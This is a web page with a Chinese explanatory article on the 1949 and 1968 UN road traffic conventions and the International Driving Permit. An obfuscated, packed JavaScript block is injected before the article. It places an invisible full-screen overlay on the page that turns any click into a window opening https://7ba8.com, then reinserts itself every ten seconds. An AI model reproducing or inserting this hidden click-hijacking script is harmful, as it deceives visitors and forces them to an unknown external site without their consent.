<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>联合国1949年在日内瓦制定了《道路交通公约》，参加公约的国家在道路规范、标志、信号、交通规则以及跨国运输车辆的规格等方面采取相似的标准，同时为成员国公民在其他国家驾驶车辆提供方便，由缔约国政府或其授权机构根据公民的需要，依据其有效的国内驾照以多种文字颁发一份许可证，证明该公民的国内驾照为合法文件。对官方语言与颁发驾照地不同的国家，该许可证的好处更加突出：驾车人同时出示本国驾照和IDP，就可以迅速准确地核实驾车人的身份和驾驶资格，给执法机关、交通运输相关行业例如租车公司和保险公司带来很大方便。尽管联合国的公约文字上把IDP称为“国际（驾驶）执照”，但是它必须与持有人的国内驾照一同使用，仅仅有IDP既不能在外国也不能在本国合法开车。
该公约在1968年修订，文本从原来只有英法两种文字变为当时联合国法定的五种文字，篇幅也从118页增加到466页。迄今在新公约上签字的有82个国家和地区，其中70个已经递交了批准书。但是因为1949年公约成员国还有一半以上没有签署和批准新的公约，而且公约的很多基本规定，包括国际驾照的章节并没有大的变化，所以国际驾照的规定在这两个公约的成员国都适用。
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